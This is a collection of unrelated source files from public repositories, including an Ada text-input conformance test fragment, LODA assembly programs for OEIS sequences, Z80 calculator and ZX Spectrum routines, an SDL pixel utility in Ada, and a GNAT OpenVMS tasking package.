IF L /= 4 THEN FAILED ("AFTER END ERROR VALUE OF LAST " & "INCORRECT - 2"); END IF; WHEN OTHERS => FAILED ("WRONG EXCEPTION RAISED - 2"); END; -- NULL STRING BEGIN GET ("", X, L); FAILED (" END_ERROR NOT RAISED - 3"); EXCEPTION WHEN END_ERROR => IF L /= 4 THEN FAILED ("AFTER END_ERROR VALUE OF LAST " & "INCORRECT - 3"); END IF; WHEN OTHERS => FAILED ("SOME EXCEPTION RAISED - 3"); END; -- NULL SLICE BEGIN GET(STR(5..IDENT_INT(2)), X, L); FAILED ("END_ERROR NOT RAISED - 4"); EXCEPTION WHEN END_ERROR => IF L /= 4 THEN FAILED ("AFTER END_ERROR VALUE OF LAST " & "INCORRECT - 4"); END IF; WHEN OTHERS => FAILED ("SOME EXCEPTION RAISED - 4"); END; -- NON-NULL SLICE GET (STR(2..3), X, L); IF X /= 23 THEN FAILED ("INTEGER VALUE INCORRECT - 5"); END IF; IF L /= 3 THEN FAILED ("LAST INCORRECT FOR SLICE - 5"); END IF; -- RIGHT JUSTIFIED NEGATIVE NUMBER GET(" -2345",X,L); IF X /= -2345 THEN FAILED ("INTEGER VALUE INCORRECT - 6"); END IF; IF L /= 8 THEN FAILED ("LAST INCORRECT FOR NEGATIVE NUMBER - 6"); END IF; RESULT; END CE3707A;
programs/oeis/021/A021226.asm
karttu/loda
0
103119
; A021226: Decimal expansion of 1/222. ; 0,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4,5,0,4 mov $1,$0 mul $1,2 trn $1,2 lpb $0,1 mov $0,1 mod $1,3 mul $1,5 lpe mod $1,6
Miscellaneous/Text Edit CE/src/routines/keyboard.asm
CiaranGruber/Ti-84-Calculator
1
91516
getTable: ld a,(alphaStatus) bit pressed2ND,(iy+txtFlgs) jr z,noShift or a,a jr nz,lowercaseinput ld hl,CharTable2nd ld b,0 ld d,$18 jr gotit lowercaseinput: ld hl,CharTableSmall ld b,'A' ld d,$18 jr gotit noShift: ld hl,CharTableNormal ld b,'A' ld d,0 or a,a jr nz,gotit ld hl,CharTableNum ld b,0 ld d,b gotit: ld (TblPtr),hl push de push bc ld a,6 ld (posY),a changeFGColor(0FFh) changeBGColor(04Ah) pop af ld de,320-12 ld (posX),de call drawChar pop af ld de,320-12-12 ld (posX),de call drawChar changeFGColor(04Ah) changeBGColor(0FFh) ret alphaPressed: ld a,(alphaStatus) dec a jr z,+_ ld a,1 _: ld (alphaStatus),a call getTable call FullBufCpy jp LoopAndGet
oeis/096/A096131.asm
neoneye/loda-programs
11
91038
<filename>oeis/096/A096131.asm ; A096131: Sum of the terms of the n-th row of triangle pertaining to A096130. ; 1,7,105,2386,71890,2695652,120907185,6312179764,375971507406,25160695768715,1869031937691061,152603843369288819,13584174777196666630,1309317592648179024666,135850890740575408906465,15097139890799769408058024,1789085134370537349026393494,225211608393514451780579583135,30011245028475950360357327850171,4220664100930334881607577041079924,624721906870251406115196237418293025,97078561427703475018632763396033209405,15801992490058193448038746399304829396105,2688810039914121077564232025540335497409426 add $0,1 mov $2,$0 lpb $0 mov $3,$2 mul $3,$0 sub $0,1 bin $3,$2 add $1,$3 lpe mov $0,$1
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/named.ads
ouankou/rose
488
20385
package Named is XYZ : constant := 2#0100_0000_0000#; end Named;
examples/joyscr.asm
Cichy3D/Komp2IDE
0
3882
:start load a a; mov e a load h 30; joy bxb mov a b div a e add h mov c a; switch c; mov a b mod a e add h mov c a; switch c; mov a bx div a e add h mov d a; switch d; mov a bx mod a e add h mov d a; switch d print c print cx print ", " print d print dx print e goto :start
programs/oeis/181/A181385.asm
jmorken/loda
1
9202
<reponame>jmorken/loda ; A181385: Maximal number that can be obtained by reversing n in an integer base. ; 0,1,2,3,4,7,9,13,16,21,25,31,36,43,49,57,64,73,81,91,100,111,121,133,144,157,169,183,196,211,225,241,256,273,289,307,324,343,361,381,400,421,441,463,484,507,529,553,576,601,625,651,676,703,729,757,784,813,841,871,900,931,961,993,1024,1057,1089,1123,1156,1191,1225,1261,1296,1333,1369,1407,1444,1483,1521,1561,1600,1641,1681,1723,1764,1807,1849,1893,1936,1981,2025,2071,2116,2163,2209,2257,2304,2353,2401,2451,2500,2551,2601,2653,2704,2757,2809,2863,2916,2971,3025,3081,3136,3193,3249,3307,3364,3423,3481,3541,3600,3661,3721,3783,3844,3907,3969,4033,4096,4161,4225,4291,4356,4423,4489,4557,4624,4693,4761,4831,4900,4971,5041,5113,5184,5257,5329,5403,5476,5551,5625,5701,5776,5853,5929,6007,6084,6163,6241,6321,6400,6481,6561,6643,6724,6807,6889,6973,7056,7141,7225,7311,7396,7483,7569,7657,7744,7833,7921,8011,8100,8191,8281,8373,8464,8557,8649,8743,8836,8931,9025,9121,9216,9313,9409,9507,9604,9703,9801,9901,10000,10101,10201,10303,10404,10507,10609,10713,10816,10921,11025,11131,11236,11343,11449,11557,11664,11773,11881,11991,12100,12211,12321,12433,12544,12657,12769,12883,12996,13111,13225,13341,13456,13573,13689,13807,13924,14043,14161,14281,14400,14521,14641,14763,14884,15007,15129,15253,15376,15501 mov $3,$0 mov $4,$0 pow $0,0 add $0,2 div $0,2 sub $4,2 pow $4,2 sub $4,$0 mov $1,$4 mov $2,4 lpb $0 sub $0,1 div $1,$2 lpe add $1,$3
extern/game_support/src/backends/pure_sdl_gnat_sdl/display-basic-utils.adb
AdaCore/training_material
15
26056
with System; use System; with System.Storage_Elements; with System.Address_To_Access_Conversions; package body Display.Basic.Utils is --------------- -- Put_Pixel -- --------------- package Address_To_Pixel is new System.Address_To_Access_Conversions (SDL_SDL_stdinc_h.Uint32); function RGBA_To_Uint32(Screen : access SDL_Surface; Color : RGBA_T) return Uint32 is begin return SDL_MapRGBA (Screen.format.all'Address, unsigned_char (Color.R), unsigned_char (Color.G), unsigned_char (Color.B), unsigned_char (Color.A)); end RGBA_To_Uint32; procedure Put_Pixel_Slow (Screen : access SDL_Surface; X, Y : Integer; Color : RGBA_T) is begin -- Just ignore out of screen draws if X >= Integer(Screen.w) or else X < 0 or else Y >= Integer(Screen.h) or else Y < 0 then return; end if; declare use System.Storage_Elements; Offset : Storage_Offset := Storage_Offset ((Y * Integer (Screen.w) + X) * Integer (Screen.format.BytesPerPixel)); Pixels : System.Address := Screen.pixels + Offset; begin Address_To_Pixel.To_Pointer (Pixels).all := SDL_MapRGBA (Screen.format.all'Address, unsigned_char (Color.R), unsigned_char (Color.G), unsigned_char (Color.B), unsigned_char (Color.A)); end; end Put_Pixel_Slow; procedure Put_Pixel (Screen : access SDL_Surface; X, Y : Integer; Color : Uint32) is begin -- Just ignore out of screen draws if X >= Integer(Screen.w) or else X < 0 or else Y >= Integer(Screen.h) or else Y < 0 then return; end if; declare use System.Storage_Elements; Offset : Storage_Offset := Storage_Offset ((Y * Integer (Screen.w) + X) * Integer (Screen.format.BytesPerPixel)); Pixels : System.Address := Screen.pixels + Offset; begin Address_To_Pixel.To_Pointer (Pixels).all := Color; end; end Put_Pixel; Nb_Canvas : Integer := 0; function Register_SDL_Surface(S : access SDL_Surface) return Canvas_ID is Current_Id : Canvas_ID; begin if Nb_Canvas = Internal_Canvas'Length then raise Too_Many_Canvas; end if; Current_Id := Canvas_ID(Integer(Internal_Canvas'First) + Nb_Canvas); Internal_Canvas(Current_Id) := T_Internal_Canvas'(Surface => S, Zoom_Factor => 1.0, Center => (0, 0)); Nb_Canvas := Nb_Canvas + 1; return Current_Id; end Register_SDL_Surface; function Get_Internal_Canvas(Canvas : Canvas_ID) return T_Internal_Canvas is begin return Internal_Canvas (Canvas); end Get_Internal_Canvas; procedure Set_Center (Canvas : Canvas_ID; Center : Screen_Point) is begin Internal_Canvas(Canvas).Center := Center; end Set_Center; function Get_Center (Canvas : Canvas_ID) return Screen_Point is begin return Internal_Canvas(Canvas).Center; end Get_Center; procedure Set_Zoom_Factor (Canvas : Canvas_ID; ZF : Float) is begin Internal_Canvas(Canvas).Zoom_Factor := ZF; end Set_Zoom_Factor; end Display.Basic.Utils;
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_cyx2saddr_callee.asm
meesokim/z88dk
0
101218
<filename>libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_cyx2saddr_callee.asm<gh_stars>0 ; void *zx_cyx2saddr(uchar row, uchar col) SECTION code_arch PUBLIC zx_cyx2saddr_callee, l0_zx_cyx2saddr_callee zx_cyx2saddr_callee: pop af pop hl pop de push af l0_zx_cyx2saddr_callee: ld h,e INCLUDE "arch/zx/display/z80/asm_zx_cyx2saddr.asm"
programs/oeis/133/A133100.asm
neoneye/loda
22
162218
; A133100: Expansion of f(x, x^4) in powers of x where f(, ) is Ramanujan's general theta function. ; 1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 mul $0,5 add $0,2 lpb $0 sub $2,1 add $0,$2 lpe cmp $0,1
oeis/262/A262787.asm
neoneye/loda-programs
11
240583
; A262787: a(n) = 41^(2*n+1). ; 41,68921,115856201,194754273881,327381934393961,550329031716248441,925103102315013629321,1555098314991537910888601,2614120267500775228203738281,4394336169668803158610484050361,7386879101213258109624223688656841,12417343769139486882278320020632149721,20873554875923477449109855954682643681001,35088445746427365591953667859821524027762681,58983677299744401560074115672359981890669066761,99151561540870339022484588445237129558214701225241,166673774950203039896796593176443614787358912759630121 mul $0,2 mov $1,41 pow $1,$0 sub $1,1 mul $1,41 add $1,41 mov $0,$1
tools-src/gnu/gcc/gcc/ada/5vtpopde.adb
enfoTek/tomato.linksys.e2000.nvram-mod
80
9105
<reponame>enfoTek/tomato.linksys.e2000.nvram-mod<filename>tools-src/gnu/gcc/gcc/ada/5vtpopde.adb ------------------------------------------------------------------------------ -- -- -- GNU ADA RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . T A S K _ P R I M I T I V E S . O P E R A T I O N S -- -- . D E C -- -- -- -- B o d y -- -- -- -- $Revision$ -- -- -- Copyright (C) 2000 Free Software Foundation, Inc. -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNARL; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package is for OpenVMS/Alpha -- with System.OS_Interface; with System.Tasking; with Unchecked_Conversion; package body System.Task_Primitives.Operations.DEC is use System.OS_Interface; use System.Tasking; use System.Aux_DEC; use type Interfaces.C.int; -- The FAB_RAB_Type specifieds where the context field (the calling -- task) is stored. Other fields defined for FAB_RAB aren't need and -- so are ignored. type FAB_RAB_Type is record CTX : Unsigned_Longword; end record; for FAB_RAB_Type use record CTX at 24 range 0 .. 31; end record; for FAB_RAB_Type'Size use 224; type FAB_RAB_Access_Type is access all FAB_RAB_Type; ----------------------- -- Local Subprograms -- ----------------------- function To_Unsigned_Longword is new Unchecked_Conversion (Task_ID, Unsigned_Longword); function To_Task_Id is new Unchecked_Conversion (Unsigned_Longword, Task_ID); function To_FAB_RAB is new Unchecked_Conversion (Address, FAB_RAB_Access_Type); --------------------------- -- Interrupt_AST_Handler -- --------------------------- procedure Interrupt_AST_Handler (ID : Address) is Result : Interfaces.C.int; AST_Self_ID : Task_ID := To_Task_Id (ID); begin Result := pthread_cond_signal_int_np (AST_Self_ID.Common.LL.CV'Access); pragma Assert (Result = 0); end Interrupt_AST_Handler; --------------------- -- RMS_AST_Handler -- --------------------- procedure RMS_AST_Handler (ID : Address) is AST_Self_ID : Task_ID := To_Task_Id (To_FAB_RAB (ID).CTX); Result : Interfaces.C.int; begin AST_Self_ID.Common.LL.AST_Pending := False; Result := pthread_cond_signal_int_np (AST_Self_ID.Common.LL.CV'Access); pragma Assert (Result = 0); end RMS_AST_Handler; ---------- -- Self -- ---------- function Self return Unsigned_Longword is Self_ID : Task_ID := Self; begin Self_ID.Common.LL.AST_Pending := True; return To_Unsigned_Longword (Self); end Self; ------------------------- -- Starlet_AST_Handler -- ------------------------- procedure Starlet_AST_Handler (ID : Address) is Result : Interfaces.C.int; AST_Self_ID : Task_ID := To_Task_Id (ID); begin AST_Self_ID.Common.LL.AST_Pending := False; Result := pthread_cond_signal_int_np (AST_Self_ID.Common.LL.CV'Access); pragma Assert (Result = 0); end Starlet_AST_Handler; ---------------- -- Task_Synch -- ---------------- procedure Task_Synch is Synch_Self_ID : Task_ID := Self; begin Write_Lock (Synch_Self_ID); Synch_Self_ID.Common.State := AST_Server_Sleep; while Synch_Self_ID.Common.LL.AST_Pending loop Sleep (Synch_Self_ID, AST_Server_Sleep); end loop; Synch_Self_ID.Common.State := Runnable; Unlock (Synch_Self_ID); end Task_Synch; end System.Task_Primitives.Operations.DEC;